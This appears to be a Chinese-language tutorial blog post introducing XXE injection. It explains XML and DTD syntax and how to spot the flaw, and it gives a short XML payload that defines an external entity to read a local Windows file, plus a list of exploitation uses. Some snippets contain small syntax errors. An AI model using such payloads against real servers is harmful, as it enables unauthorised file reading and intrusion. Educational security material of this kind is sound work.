浅谈XXE

什么是XXE

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

什么是XML,DTD

一、XML概念:
XML
可扩展标记语言。
通常所说的XML,就是指XML数据解析,是将数据文档解析成不同的格式。因为不同平台(软件)在做数据传递或数据文档共享的时候,同一数据文档可能在不同平台的 显示格式要求不同,这就出现了相对中立的语言(XML),来表示数据,给二者做转化。
XML类似于HTML,不同的是HTML不可自定义标签,XML可以。
二、1、DTD概念:文档类型定义。DTD文件一般和XML文件配合使用,主要是为了约束XML文件。 ()DTD就是上文中提到的实体
2、DTD基本语法:
<!ELEMENT NAME CONTENT>
其中

  • ELEMENT是关键字,不可修改
  • NAME表示元素名称
  • CONTENT是元素类型,必须大写
    (1)EMPTY————表示该元素不能包含子元素和文本,但可以有属性。
    (2)ANY———表示该元素可以包含任何在该DTD中定义的元素内容
    (3 )#PCDATA——可以包含任何字符数据,但是不能在其中包含任何子元素
    3、外部实体:
    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM <"note.dtd">
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body></note>

    如何判断XXE漏洞的存在

    在这里插入图片描述
    对其进行抓包
    在这里插入图片描述
    修改xml,添加任意标签观察是否存在回显
    在这里插入图片描述

    构造payload

    一、实体打印
    1
    2
    3
    4
    5
    <?xml version = "1.0"?>
    <!DOCTYPE note [
    <!ENTITY hacker "test">
    ]>
    <name>&hacker;</name>
    二、文件读取
    1
    2
    3
    <?xml version = "1.0"?><!DOCTYPE ANY[
    <!ENTITY f sYSTEM"file:///C://Windows//win.ini" >//前提是电脑中得有//
    ]><x>&f;</x>

    XXE漏洞利用

    任意文件读取
    探测内网地址
    通过DTD窃取文件
    远程代码执行